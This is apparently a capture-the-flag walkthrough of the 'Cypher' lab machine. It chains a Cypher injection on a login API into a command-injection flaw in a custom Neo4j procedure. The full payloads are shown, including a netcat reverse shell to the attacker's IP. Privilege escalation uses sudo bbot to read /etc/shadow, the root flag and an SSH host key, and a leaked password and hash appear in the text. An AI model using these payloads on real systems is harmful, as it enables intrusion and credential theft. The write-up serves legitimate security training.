RECON
Port Scan
$ rustscan -a $target_ip --ulimit 1000 -r 1-65535 -- -A -sC -Pn
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMurODrr5ER4wj9mB2tWhXcLIcrm4Bo1lIEufLYIEBVY4h4ZROFj2+WFnXlGNqLG6ZB+DWQHRgG/6wg71wcElxA=
| 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEqadcsjXAxI3uSmNBA8HUMR3L4lTaePj3o6vhgPuPTi
80/tcp open http syn-ack nginx 1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Website: http://cypher.htb/
Port 80
A cool website for pentesters:

http://cypher.htb/demo redirects us to http://cypher.htb/demo, a Sign-in page:

From the page source, we confirm it's a Java-based web application running Neo4j as its database. We also identify several API endpoints:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Login</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link type="text/css" rel="stylesheet" href="/bootstrap.min.css">
<script src="jquery-3.6.1.min.js"></script>
<script src="bootstrap.bundle.min.js"></script>
<script src="bootstrap-notify.min.js"></script>
[...]
<div class="container">
<div class="row justify-content-center mt-5">
<div class="col-md-6">
<h3 class="card-title text-center mb-4"><img src="logo.png" class="mx-3" style="width: 60px" />Sign In</h3>
<form action="/api/auth" method="POST">
[...]
<script>
// TODO: don't store user accounts in neo4j
function doLogin(e) {
e.preventDefault();
var username = $("#usernamefield").val();
var password = $("#passwordfield").val();
$.ajax({
url: '/api/auth',
type: 'POST',
contentType: 'application/json',
data: JSON.stringify({ username: username, password: password }),
success: function (r) {
window.location.replace("/demo");
},
error: function (r) {
if (r.status == 401) {
notify("Access denied");
} else {
notify(r.responseText);
}
}
});
}
[...]
We can send a POST request to /api/auth
for authentication to login:

Fuzzing
Dirsearch
Enumerate directories for the web application:
$ dirsearch -u 'http://cypher.htb' -X 404
[21:19:26] Scanning:
[21:19:54] 200 - 5KB - /about
[21:19:55] 200 - 5KB - /about.html
[21:20:16] 307 - 0B - /api -> /api/docs
[21:20:16] 307 - 0B - /api/ -> http://cypher.htb/api/api
[21:20:34] 307 - 0B - /demo -> /login
[21:20:34] 307 - 0B - /demo/ -> http://cypher.htb/api/demo
[21:20:50] 200 - 4KB - /index
[21:20:50] 200 - 4KB - /index.html
[21:20:56] 200 - 4KB - /login
[21:20:57] 200 - 4KB - /login.html
[21:21:32] 301 - 178B - /testing -> http://cypher.htb/testing/
Task Completed
We uncover a suspicious path http://cypher.htb/testing/, which contains a jar file:

Download it to our attack machine.
WEB
APOC
Overview
The file custom-apoc-extension-1.0-SNAPSHOT.jar
suggests it's a Java Archive (JAR) file, likely related to APOC (Awesome Procedures on Cypher), an extension for Neo4j, the popular graph database.
- APOC is a library of procedures and functions that extends the functionality of Neo4j.
- Custom extensions allow users to write Java-based stored procedures that can be called within Cypher queries.
- The
SNAPSHOT
suffix indicates it's a development build, meaning it might be an unfinished or experimental version.
A JAR file is just a ZIP archive. Extract it using:
unzip custom-apoc-extension-1.0-SNAPSHOT.jar -d extracted_apoc
And inspect it:
$ tree extracted_apoc
extracted_apoc
├── com
│ └── cypher
│ └── neo4j
│ └── apoc
│ ├── CustomFunctions$StringOutput.class
│ ├── CustomFunctions.class
│ ├── HelloWorldProcedure$HelloWorldOutput.class
│ └── HelloWorldProcedure.class
└── META-INF
├── MANIFEST.MF
└── maven
└── com.cypher.neo4j
└── custom-apoc-extension
├── pom.properties
└── pom.xml
9 directories, 7 files
META-INF/MANIFEST.MF
Contains metadata:
$ cat extracted_apoc/META-INF/MANIFEST.MF
Manifest-Version: 1.0
Created-By: Maven JAR Plugin 3.4.1
Build-Jdk-Spec: 22
Reversing | jadx
Java class files (.class
) contain executable bytecode, that we can decompile them using jadx (an open-source decompiler):
jadx -d decompiled_apoc extracted_apoc
After decompilation, the directory structure looks like this:
$ tree decompiled_apoc
decompiled_apoc
└── sources
└── com
└── cypher
└── neo4j
└── apoc
├── CustomFunctions.java
└── HelloWorldProcedure.java
6 directories, 2 files
The HelloWorldProcedure.java
is just a basic demo, but CustomFunctions.java
contains custom functions specifically designed for the web application—this is where things get interesting:
package com.cypher.neo4j.apoc;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.concurrent.TimeUnit;
import java.util.stream.Stream;
import org.neo4j.procedure.Description;
import org.neo4j.procedure.Mode;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.Procedure;
/* loaded from: CustomFunctions.class */
public class CustomFunctions {
@Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
@Description("Returns the HTTP status code for the given URL as a string")
public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
url = "https://" + url;
}
String[] command = {"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
System.out.println("Command: " + Arrays.toString(command));
Process process = Runtime.getRuntime().exec(command);
BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
StringBuilder errorOutput = new StringBuilder();
while (true) {
String line = errorReader.readLine();
if (line == null) {
break;
}
errorOutput.append(line).append("\n");
}
String statusCode = inputReader.readLine();
System.out.println("Status code: " + statusCode);
boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
if (!exited) {
process.destroyForcibly();
statusCode = "0";
System.err.println("Process timed out after 10 seconds");
} else {
int exitCode = process.exitValue();
if (exitCode != 0) {
statusCode = "0";
System.err.println("Process exited with code " + exitCode);
}
}
if (errorOutput.length() > 0) {
System.err.println("Error output:\n" + errorOutput.toString());
}
return Stream.of(new StringOutput(statusCode));
}
/* loaded from: CustomFunctions$StringOutput.class */
public static class StringOutput {
public String statusCode;
public StringOutput(String statusCode) {
this.statusCode = statusCode;
}
}
}
This Java class (CustomFunctions.java
) defines a Neo4j APOC custom procedure called custom.getUrlStatusCode
:
- It retrieves the HTTP status code of a given URL using
curl
. - It is registered as a Neo4j APOC procedure (
@Procedure
annotation).The function takes one input parameter (url
) and returns a stream containing the HTTP status code (statusCode
) as a string.
In Java, using Runtime.getRuntime().exec()
is always dangerous, as it opens the door to command injection. The vulnerable command being executed is:
/bin/sh -c "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} <url>"
curl -s
→ Silent mode (no progress meter).-o /dev/null
→ Discards the output.--connect-timeout 1
→ 1-second timeout.-w %{http_code}
→ Extracts only the HTTP status code.
Since there's zero input sanitization, we can inject arbitrary shell commands via the url
parameter. For example:
custom.getUrlStatusCode("https://example.com; whoami")
If executed on the Neo4j server, this would run:
/bin/sh -c "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} https://example.com; whoami"
Cypher Injection
Cypher Query
We've identified a command injection entry via the customized function custom.getUrlStatusCode
, but we still need to determine when and where it's being executed.
The /api/auth
endpoint appears to be the only accessible entry point to interact with the server. Testing it with different inputs, we notice that injecting into the username
parameter results in a 400 Bad Request instead of the usual 401 Unauthorized—a strong indicator of a potential injection vulnerability:

By sending a single quote ('
), we disrupt the SQL (or Cypher) query structure, triggering a syntax error in the response:
Traceback (most recent call last):
File "/app/app.py", line 142, in verify_creds
results = run_cypher(cypher)
File "/app/app.py", line 63, in run_cypher
return [r.data() for r in session.run(cypher)]
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
self._auto_result._run(
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
self._attach()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
self._connection.fetch_message()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
func(*args, **kwargs)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
res = self._process_message(tag, fields)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
response.on_failure(summary_metadata or {})
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 60 (offset: 59))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'axura'' return h.value as hash"
^}
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/app/app.py", line 165, in login
creds_valid = verify_creds(username, password)
File "/app/app.py", line 151, in verify_creds
raise ValueError(f"Invalid cypher query: {cypher}: {traceback.format_exc()}")
ValueError: Invalid cypher query: MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'axura'' return h.value as hash: Traceback (most recent call last):
File "/app/app.py", line 142, in verify_creds
results = run_cypher(cypher)
File "/app/app.py", line 63, in run_cypher
return [r.data() for r in session.run(cypher)]
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
self._auto_result._run(
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
self._attach()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
self._connection.fetch_message()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
func(*args, **kwargs)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
res = self._process_message(tag, fields)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
response.on_failure(summary_metadata or {})
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 60 (offset: 59))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'axura'' return h.value as hash"
We can tell that the username input field is being directly used in a Cypher query, and it's vulnerable to Cypher Injection, which is an attack where an attacker manipulates Neo4j's Cypher query language to execute unintended commands—similar to SQL Injection in relational databases.
Looking at the application code structure in the error trace:
File "/app/app.py", line 142, in verify_creds
results = run_cypher(cypher)
File "/app/app.py", line 63, in run_cypher
return [r.data() for r in session.run(cypher)]
The function verify_creds()
constructs a Cypher query dynamically using user input. And the function run_cypher(cypher)
executes the query without parameterized input, which makes it vulnerable to injection.
Our input '
(single quote) caused an unbalanced string error. From the plain-text exception, the Cypher query being executed is:
MATCH (u:USER) -[:SECRET]-> (h:SHA1)
WHERE u.name = 'axura''
RETURN h.value AS hash
This is a Cypher query used in Neo4j to retrieve hashed credentials:
MATCH (u:USER) -[:SECRET]-> (h:SHA1)
searches the graph database for:- A node labeled
USER
(u). - A relationship
SECRET
that connectsUSER
to another node. - A destination node labeled
SHA1
(h).
- A node labeled
WHERE u.name = 'axura''
filters the result to only return nodes where:u.name
matches exactlyaxura'
.
RETURN h.value AS hash
- Extracts the hashed password (
h.value
). - Renames the result as
hash
.
- Extracts the hashed password (
Obviously, the application is not properly escaping user input before inserting it into the Cypher query.
PoC
We can refer to this article for insights on crafting Cypher injection payloads. Given that the server only responds with "Invalid credentials", the best approach is Error-based Blind Injection.
A standard login request returns:
$ curl 'http://cypher.htb/api/auth' \
-X 'POST' \
-H 'Content-Type: application/json' \
--data "{\"username\":\"axura\",\"password\":\"axura\"}"
{"detail":"Invalid credentials"}
Starting with a '
as injection to break the query, and ending with //
to comment out the redundant queries, we can construct a UNION CALL cypher query with the command-execution function custom.getUrlStatusCode
:
export inj="axura' RETURN h.value as hash UNION CALL custom.getUrlStatusCode('http://10.10.16.3/pwn') YIELD statusCode AS hash RETURN hash;//"
curl -X POST "http://cypher.htb/api/auth" \
-H "Content-Type: application/json" \
--data "{\"username\": \"${inj}\", \"password\": \"axura\"}"
From our reverse analysis, we know that custom.getUrlStatusCode()
requires a return value via the statusCode
variable. To ensure the Cypher query executes properly, we must use YIELD
and RETURN
statements, as described in this post. As a prove of concept, our HTTP server receives a callback:

RCE
After establishing the Cypher Injection primitive, we can now exploit the Command Injection vulnerability in custom.getUrlStatusCode()
, which directly executes input via Runtime.getRuntime().exec()
without sanitization:
{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url}
By embedding a reverse shell payload in the Cypher query, we can gain remote access:
export inj="axura' RETURN h.value as hash UNION CALL custom.getUrlStatusCode('http://10.10.16.3/pwn;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.3 4444 >/tmp/f') YIELD statusCode AS hash RETURN hash;//"
curl -X POST "http://cypher.htb/api/auth" \
-H "Content-Type: application/json" \
--data "{\"username\": \"${inj}\", \"password\": \"axura\"}"
If successful, this grants a reverse shell as neo4j
:

USER
Enumeration
From the ip a
result, we know the web server hosted inside a Docker container:
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 2a:1e:82:22:db:58 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
4: br-8d0e166afc01: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 46:6e:b6:c9:0c:b5 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.1/16 brd 172.18.255.255 scope global br-8d0e166afc01
valid_lft forever preferred_lft forever
5: vethfa18e45@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-8d0e166afc01 state UP group default
link/ether f2:fe:34:50:e4:ab brd ff:ff:ff:ff:ff:ff link-netnsid 0
As an initial foothold after compromising the web root, the next step is to enumerate configuration files for sensitive data such as credentials, API keys, or service configurations:
$ cd ~
$ pwd
/var/lib/neo4j
$ ls
certificates
data
import
labs
licenses
packaging_info
plugins
products
run
$ cat data/dbms/auth.ini
neo4j:SHA-256,6a4277a4653a8536cff2d6f44fc698621e237d33a0fa36a57c55fb3bfead7b48,3d19d683dc15384a6cae9dc840740e93116cae7b0786b9dfee4dbbacbc13a65c,1024:
Uncover a valid normal user graphasm
:
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
[...]
graphasm:x:1000:1000:graphasm:/home/graphasm:/bin/bash
neo4j:x:110:111:neo4j,,,:/var/lib/neo4j:/bin/bash
_laurel:x:999:987::/var/log/laurel:/bin/false
Additionally, we have read permission to access the /home
directory of graphasm
user:
$ ls /home -l
total 4
drwxr-xr-x 4 graphasm graphasm 4096 Feb 17 12:40 graphasm
Of course this is worth our attention. Surprisingly, there's the user.txt
for our first flag - but we do not have the permission to read it:
$ ls
bbot_preset.yml
user.txt
$ cat user*
cat: user.txt: Permission denied
$ ls -l
total 8
-rw-r--r-- 1 graphasm graphasm 156 Feb 14 12:35 bbot_preset.yml
-rw-r----- 1 root graphasm 33 Mar 1 22:37 user.txt
But there's a configuration file for the bbot program, which we should be familiar as Bug Bounty Hunters:
$ cat bbot*
targets:
- ecorp.htb
output_dir: /home/graphasm/bbot_scans
config:
modules:
neo4j:
username: neo4j
password: cU4btyib.20xtCMCXkBmerhK
Password Reusing
Since now we have found a password string cU4btyib.20xtCMCXkBmerhK
, we can test if it works for our target user graphasm
:

Take the user flag.
ROOT
Sudo
Looks like graphasm
user is a pentester working for our target. We can check SUDO privileges:
graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
We have confirmed that graphasm
has unrestricted sudo
access to bbot, meaning we can execute it as root without requiring a password.
Bbot
bbot
(BIGHUGE BLS OSINT TOOL) is an OSINT (Open Source Intelligence) automation tool used for reconnaissance, subdomain enumeration, and web security testing. We can access its source code on Github (OK, it looks like this machine is sponsored by the black lantern security team).
We can inspect available command options with the -h
argument:
graphasm@cypher:~$ sudo /usr/local/bin/bbot -h
Target:
-t TARGET [TARGET ...], --targets TARGET [TARGET ...]
Targets to seed the scan
-w WHITELIST [WHITELIST ...], --whitelist WHITELIST [WHITELIST ...]
What's considered in-scope (by default it's the same as --targets)
-b BLACKLIST [BLACKLIST ...], --blacklist BLACKLIST [BLACKLIST ...]
Don't touch these things
--strict-scope Don't consider subdomains of target/whitelist to be in-scope
Presets:
-p [PRESET ...], --preset [PRESET ...]
Enable BBOT preset(s)
-c [CONFIG ...], --config [CONFIG ...]
Custom config options in key=value format: e.g. 'modules.shodan.api_key=1234'
-lp, --list-presets List available presets.
Modules:
-m MODULE [MODULE ...], --modules MODULE [MODULE ...]
-lmo, --list-module-options
Show all module config options
-em MODULE [MODULE ...], --exclude-modules MODULE [MODULE ...]
Exclude these modules.
-f FLAG [FLAG ...], --flags FLAG [FLAG ...]
Enable modules by flag. Choices: social-enum,web-basic,web-thorough,service-enum,subdomain-hijack,web-screenshots,web-paramminer,deadly,portscan,slow,cloud-enum,email-enum,code-enum,passive,baddns,active,affiliates,subdomain-enum,aggressive,safe,report,iis-shortnames
-lf, --list-flags List available flags.
-rf FLAG [FLAG ...], --require-flags FLAG [FLAG ...]
Only enable modules with these flags (e.g. -rf passive)
-ef FLAG [FLAG ...], --exclude-flags FLAG [FLAG ...]
Disable modules with these flags. (e.g. -ef aggressive)
--allow-deadly Enable the use of highly aggressive modules
Scan:
-n SCAN_NAME, --name SCAN_NAME
Name of scan (default: random)
-v, --verbose Be more verbose
-d, --debug Enable debugging
-s, --silent Be quiet
--force Run scan even in the case of condition violations or failed module setups
-y, --yes Skip scan confirmation prompt
--dry-run Abort before executing scan
--current-preset Show the current preset in YAML format
--current-preset-full
Show the current preset in its full form, including defaults
Output:
-o DIR, --output-dir DIR
Directory to output scan results
-om MODULE [MODULE ...], --output-modules MODULE [MODULE ...]
Output module(s). Choices: websocket,web_report,slack,http,asset_inventory,emails,subdomains,python,csv,discord,neo4j,json,txt,teams,stdout,splunk
--json, -j Output scan data in JSON format
--brief, -br Output only the data itself
--event-types EVENT_TYPES [EVENT_TYPES ...]
Choose which event types to display
Module dependencies:
Control how modules install their dependencies
--no-deps Don't install module dependencies
--force-deps Force install all module dependencies
--retry-deps Try again to install failed module dependencies
--ignore-failed-deps Run modules even if they have failed dependencies
--install-all-deps Install dependencies for all modules
Misc:
--version show BBOT version and exit
-H CUSTOM_HEADERS [CUSTOM_HEADERS ...], --custom-headers CUSTOM_HEADERS [CUSTOM_HEADERS ...]
List of custom headers as key value pairs (header=value).
--custom-yara-rules CUSTOM_YARA_RULES, -cy CUSTOM_YARA_RULES
Add custom yara rules to excavate
We can either look for Arbitrary Command Execution or Arbitrary File Read/Write primitives from the program:
-d
: Enables debugging for Read Primitives.--dry-run
: Runsbbot
in test mode without actually executing the scan, so that we don't need to provide a target.-o
: A Write Primitive to specify directory path.-c
: A Write Primitive but inkey:value
format.-w
/-b
: Expect a white/black-list file to read - a Read Primitive.--custom-yara-rules
(-cy
): Expects a YARA rules file to config - a Read/Write Primitive.- …
Several arguments in bbot
accept file paths, giving us control over file input. If the program does not enforce file format validation, we can exploit this to read arbitrary files.
After testing different options, we confirm that --custom-yara-rules
(-cy
) accepts any file without format verification:
sudo bbot -d --dry-run -cy /root/root.txt
And we can uncover how it integrates the "YAML Rule" in debug mode:

The -w
flag also leak file as it reads the "Whitelist":
sudo bbot -d --dry-run -w /root/root.txt

We can also leak the Shadow file:
sudo bbot -d --dry-run -cy /etc/shadow

Leak SSH private key:
sudo bbot -d --dry-run -cy /etc/ssh/ssh_host_rsa_key

Comments | NOTHING